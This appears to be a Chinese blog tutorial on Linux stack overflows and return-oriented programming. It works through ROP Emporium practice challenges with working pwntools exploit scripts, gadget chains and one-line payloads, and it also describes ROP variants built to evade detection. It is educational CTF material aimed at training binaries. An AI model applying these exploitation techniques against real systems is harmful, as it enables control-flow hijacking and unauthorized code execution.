Linux Pwn - 栈溢出与ROP(一)

栈溢出

栈溢出属于缓冲区溢出的一种,利用方法包括shellcode注入、ret2libc、ROP等

主要通过对缓冲区的写入,覆盖栈上数据,控制关键数据达到控制程序执行流程

有关栈帧的相关资料参考:栈介绍

shellcode注入与ret2libc

shellcode注入与ret2libc是两种比较简单的利用方式

  • shellcode注入
    • 将shellcode作为payload填充入缓冲区中,覆盖返回地址为合适的值以便在函数返回值可直接控制eip跳转到shellcode上,经典的跳板指令jmp esp便是其方法利用的指令之一
    • 此方式通常需要关闭NX保护
  • ret2libc
    • 将返回地址覆盖为system的地址,并在此返回地址上方偏移+4(x86平台下)构造传入/bin/sh的地址,在函数返回值变跳转执行system("/bin/sh")

ROP

返回向导编程(Return-Oriented Programming),通过扫描目标文件,提取出可用的gadget(通常以ret(0xc3)结尾)。将这些gadget按照功能进行组合,形成shellcode攻击链

返回导向编程(ROP)(x86)

gadget

寻找gadget

  • 扫描二进制找到ret(0xc3)指令,将其作为trie根节点
    • 回溯解析前面的指令,如果是有效指令,将其作为子节点,后续判断是否是boring;如果不是有效指令,则继续递归回溯。
  • boring指令份为三种情况:
    • 该指令是leave,后面跟一个ret
    • 该指令是一个pop reg,后面跟一个ret
    • 该指令是返回或者非条件跳转

在实际操作中,有很多工具可用帮助寻找gadget,比如ROPGadgetRopper等,在线网站有ropshell

常用gadget

  • 保存栈数据到寄存器上
    • pop eax; ret
  • 保存内存数据到寄存器上
    • mov ecx, [eax]; ret
  • 保存寄存器数据到内存
    • mov [eax], ecx; ret
  • 算术和逻辑运算
    • add eax, ebx; ret
    • xor edx, edx; ret
  • 系统调用
    • int 0x80; ret
    • call gs:[0x10]; ret
  • 用以影响栈帧的gadget
    • leave; ret
    • pop ebp; ret

ROP变种

ROP与正常的程序流程有很大不同,最直观的有两点:

  1. ROP流会包含很多ret指令,且这些ret指令可能间距间隔很短
  2. ROP利用ret指令控制指令流程,而这些ret在进行栈回卷时没有与之对应的call指令

针对以上两点,就可用来做检测,为了对抗这种检测,产生了一种不依赖于ret指令的ROP变种 —— 使用ret的等价指令序列,其中之一如下:

1
2
pop eax; jmp eax		; 间接跳转
pop eax; jmp [eax] ; 双重间接跳转

ROP Emporium

ROP Emporium该项目是一个学习ROP的很好的资料,包含x86和x64程序来进行练习,以下挑几个最基本的写一下

ret2win32

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

pwnme函数中存在栈溢出,且在ida中可用很简单的算出缓冲区首地址距返回地址有44个字节,且内部存在一ret2win函数,该函数地址0x0804862C

1
2
3
4
5
int ret2win()
{
puts("Well done! Here's your flag:");
return system("/bin/cat flag.txt");
}

于是可用覆盖返回地址到此函数上,执行system打印flag

1
2
3
4
5
6
7
8
9
10
11
pwn@ubuntu:~/workspace/ROP/ret2win32$ python -c "print('A' * 44 + '\x2c\x86\x04\x08')" | ./ret2win32 
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

ret2win

ret2win32同样的套路,只是换成了x64,缓冲区首地址距返回地址有40个字节,ret2win函数地址0x400756

1
2
3
4
5
6
7
8
9
10
11
pwn@ubuntu:~/workspace/ROP/ret2win$ python -c "print('A' * 40 + '\x56\x07\x40\x00\x00\x00\x00\x00')" | ./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

split32

ret2win32的加强版,在ida中可用找到如下信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.data:0804A030 usefulString    db '/bin/cat flag.txt',0

.text:0804860C usefulFunction proc near
.text:0804860C ; __unwind {
.text:0804860C push ebp
.text:0804860D mov ebp, esp
.text:0804860F sub esp, 8
.text:08048612 sub esp, 0Ch
.text:08048615 push offset command ; "/bin/ls"
.text:0804861A call _system
.text:0804861F add esp, 10h
.text:08048622 nop
.text:08048623 leave
.text:08048624 retn
.text:08048624 ; } // starts at 804860C
.text:08048624 usefulFunction endp

缓冲区首地址距返回地址有44个字节,可用将返回地址覆盖为0x0804861Acall _system,然后在随后的栈上填写usefulString的地址0x0804A030,这样在返回时,又调用了call _system将下条指令地址压栈成为新的返回地址,而新的返回地址上方就是usefulString,就形成了system(usefulString)的调用栈

1
2
3
4
5
6
7
pwn@ubuntu:~/workspace/ROP/split32$ python -c "print('A' * 44 + '\x1a\x86\x04\\x08' + '\x30\xa0\x04\x08')" | ./split32 
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}

split

同样的套路,缓冲区首地址距返回地址有40个字节,不过在x64下,传参需要用到寄存器rdi

1
2
3
4
5
6
7
8
9
10
11
12
13
.data:0000000000601060 usefulString    db '/bin/cat flag.txt',0

.text:0000000000400742 usefulFunction proc near
.text:0000000000400742 ; __unwind {
.text:0000000000400742 push rbp
.text:0000000000400743 mov rbp, rsp
.text:0000000000400746 mov edi, offset command ; "/bin/ls"
.text:000000000040074B call _system
.text:0000000000400750 nop
.text:0000000000400751 pop rbp
.text:0000000000400752 retn
.text:0000000000400752 ; } // starts at 400742
.text:0000000000400752 usefulFunction endp

通过ROPgadget查找pop rdi; ret指令

1
2
pwn@ubuntu:~/workspace/ROP/split$ ROPgadget --binary ./split --only "pop|ret" | grep rdi
0x00000000004007c3 : pop rdi ; ret

于是可用构造ROP:gadget_addr + usefulString + call _system

1
2
3
4
5
6
7
8
pwn@ubuntu:~/workspace/ROP/split$ python -c "print('A' * 40 + '\xc3\x07\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x4b\x07\x40\x00\x00\x00\x00\x00')" | ./split 
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)

callme32

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: '.'

缓冲区首地址距返回地址有44个字节,且依赖同目录下的libcallme32.so

1
2
3
4
5
6
7
void __noreturn usefulFunction()
{
callme_three(4, 5, 6);
callme_two(4, 5, 6);
callme_one(4, 5, 6);
exit(1);
}

callme_one(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)callme_two(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)callme_three(0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)三个函数需要传递正确的参数,其中第一个函数用于读取加密后的flag,剩下两个则是解密函数

此处rop的构造可以利用到这三个函数的plt,依次去调用这三个函数

1
2
3
4
5
pwn@ubuntu:~/workspace/ROP/callme32$ objdump -d -j .plt callme32 | grep callme
callme32: file format elf32-i386
080484e0 <callme_three@plt>:
080484f0 <callme_one@plt>:
08048550 <callme_two@plt>:

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
p = process("./callme32")
e = ELF("./callme32")

callme_one = e.plt["callme_one"]
callme_two = e.plt["callme_two"]
callme_three = e.plt["callme_three"]

log.info("callme_one => %s" % hex(callme_one))
log.info("callme_two => %s" % hex(callme_two))
log.info("callme_three => %s" % hex(callme_three))

# 参数
arg1 = 0xDEADBEEF
arg2 = 0xCAFEBABE
arg3 = 0xD00DF00D

# 0x080487f9 : pop esi ; pop edi ; pop ebp ; ret
pop_ret = 0x080487f9 # 此rop为了平栈

payload = "A" * 44 + \
p32(callme_one) + p32(pop_ret) + p32(arg1) + p32(arg2) + p32(arg3) + \
p32(callme_two) + p32(pop_ret) + p32(arg1) + p32(arg2) + p32(arg3) + \
p32(callme_three) + p32(pop_ret) + p32(arg1) + p32(arg2) + p32(arg3)

p.recvuntil("> ")
p.sendline(payload)
data = p.recvall()
log.info("flag => \n" + data)

callme

改为x64,也就把ROP链改一下即可,缓冲区首地址距返回地址有40个字节

1
2
3
4
5
6
7
8
9
10
11
arg1 = 0xDEADBEEFDEADBEEF
arg2 = 0xCAFEBABECAFEBABE
arg3 = 0xD00DF00DD00DF00D

# 0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
pop_ret = 0x000000000040093c

payload = "A" * 40 + \
p64(pop_ret) + p64(arg1) + p64(arg2) + p64(arg3) + p64(callme_one) + \
p64(pop_ret) + p64(arg1) + p64(arg2) + p64(arg3) + p64(callme_two) + \
p64(pop_ret) + p64(arg1) + p64(arg2) + p64(arg3) + p64(callme_three)

write432

向内存中写入flag.txt,在调用print_file函数,可以发现.data段是可写的

1
2
3
pwn@ubuntu:~/workspace/ROP/write432$ readelf -S write432 | grep data
[16] .rodata PROGBITS 080485c8 0005c8 000014 00 A 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4

选择写入地址为0x0804a018,ROP选择使用pop|mov|ret组合,首先通过pop设置好栈上内容和目标地址,通过mov来实现数据写入,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

p = process("./write432")
e = ELF("./write432")

print_file = e.plt["print_file"]

log.info("print_file => %s" % hex(print_file))

data_addr = 0x0804a018

# 0x08048543 : mov dword ptr [edi], ebp ; ret
# 0x080485aa : pop edi ; pop ebp ; ret
pop_edi_pop_ebp = 0x080485aa
mov_Medi_ebp = 0x08048543
flag_file = "flag.txt"

payload = "A" * 44 + \
p32(pop_edi_pop_ebp) + p32(data_addr) + flag_file[:4] + p32(mov_Medi_ebp) + \
p32(pop_edi_pop_ebp) + p32(data_addr + 4) + flag_file[4:] + p32(mov_Medi_ebp) + \
p32(print_file) + "BBBB" + p32(data_addr)

p.recvuntil("> ")
p.sendline(payload)
log.info(p.recvall())

write4

改为x64版本即可,直接8字节传送

1
2
3
4
5
6
7
8
9
10
11
12
data_addr = 0x0000000000601028

# 0x0000000000400628 : mov qword ptr [r14], r15 ; ret
# 0x0000000000400690 : pop r14 ; pop r15 ; ret
# 0x0000000000400693 : pop rdi ; ret
mov_Mr14_r15 = 0x0000000000400628
pop_r14_r15 = 0x0000000000400690
pop_rdi = 0x0000000000400693
flag_file = "flag.txt"

payload = "A" * 40 + \
p64(pop_r14_r15) + p64(data_addr) + flag_file + p64(mov_Mr14_r15) + p64(pop_rdi) + p64(data_addr) + p64(print_file)

badchars32

在上题的基础上对输入进行了过滤

1
2
3
4
5
6
7
8
9
v1 = read(0, v4, 0x200u);
for ( i = 0; i < v1; ++i )
{
for ( j = 0; j <= 3; ++j )
{
if ( v4[i] == badcharacters[j] ) // 过滤“xga.”字符
v4[i] = 0xEB;
}
}

那么就需要对payload进行加密处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_xor(data, badchars=[], xor_num=0x1):
while True:
found = False
for i in range(len(data)):
c = chr(ord(data[i]) ^ xor_num)
if c in badchars:
xor_num += 1
break
if i == len(data) - 1:
found = True
if found:
break
return xor_num

flag_file = "flag.txt"
xor_num = get_xor(flag_file, list("xga."))
log.info("xor number => %x" % xor_num)
flag_file = "".join([chr(ord(c) ^ xor_num) for c in flag_file])
log.info("xor flag_file => %s" % flag_file)

可以找到异或数值为2

1
2
3
[*] xor number => 2
[*] xor flag_file => dnce,vzv
[*] Stopped process './badchars32' (pid 66782

直接就可以将上题的exp改造成此题的,ROP需要有xor操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 0x08048547 : xor byte ptr [ebp], bl ; ret
xor_Mebp_bl = 0x08048547

# 0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop_ebx_esi_edi_ebp = 0x080485b8

# 0x0804854f : mov dword ptr [edi], esi ; ret
mov_Medi_esi = 0x0804854f

# 0x080485bb : pop ebp ; ret
pop_ebp = 0x080485bb

payload = "A" * 44 + \
p32(pop_ebx_esi_edi_ebp) + p32(xor_num) + flag_file[:4] + p32(data_addr) + p32(data_addr) + \
p32(mov_Medi_esi) + \
p32(pop_ebx_esi_edi_ebp) + p32(xor_num) + flag_file[4:] + p32(data_addr + 4) + p32(data_addr + 4) + \
p32(mov_Medi_esi) + \
p32(pop_ebp) + p32(data_addr) + p32(xor_Mebp_bl) + \
p32(pop_ebp) + p32(data_addr + 1) + p32(xor_Mebp_bl) + \
p32(pop_ebp) + p32(data_addr + 2) + p32(xor_Mebp_bl) + \
p32(pop_ebp) + p32(data_addr + 3) + p32(xor_Mebp_bl) + \
p32(pop_ebp) + p32(data_addr + 4) + p32(xor_Mebp_bl) + \
p32(pop_ebp) + p32(data_addr + 5) + p32(xor_Mebp_bl) + \
p32(pop_ebp) + p32(data_addr + 6) + p32(xor_Mebp_bl) + \
p32(pop_ebp) + p32(data_addr + 7) + p32(xor_Mebp_bl) + \
p32(print_file) + \
"BBBB" + p32(data_addr)

badchars

同x86版本,修改ROP为x64即可,另外对于data_addr地址的选择这次可能不能选.data的开头,在实际测试中.data + 6的位置异或上去没效果,具体原因没分析,改成.data + 8就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 0x00000000004006a3 : pop rdi ; ret
# 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
pop_rdi = 0x00000000004006a3
xor_Mr15_r14 = 0x0000000000400628

# 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
mov_Mr13_r12 = 0x0000000000400634

# 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop_r12_r13_r14_r15 = 0x000000000040069c

# 0x00000000004006a2 : pop r15 ; ret
pop_r15 = 0x00000000004006a2

payload = "A" * 40 + \
p64(pop_r12_r13_r14_r15) + flag_file + p64(data_addr) + p64(xor_num) + p64(data_addr) + \
p64(mov_Mr13_r12) + \
p64(xor_Mr15_r14) + \
p64(pop_r15) + p64(data_addr + 1) + p64(xor_Mr15_r14) + \
p64(pop_r15) + p64(data_addr + 2) + p64(xor_Mr15_r14) + \
p64(pop_r15) + p64(data_addr + 3) + p64(xor_Mr15_r14) + \
p64(pop_r15) + p64(data_addr + 4) + p64(xor_Mr15_r14) + \
p64(pop_r15) + p64(data_addr + 5) + p64(xor_Mr15_r14) + \
p64(pop_r15) + p64(data_addr + 6) + p64(xor_Mr15_r14) + \
p64(pop_r15) + p64(data_addr + 7) + p64(xor_Mr15_r14) + \
p64(pop_rdi) + \
p64(data_addr) + \
p64(print_file)

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021 lzeroyuee
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信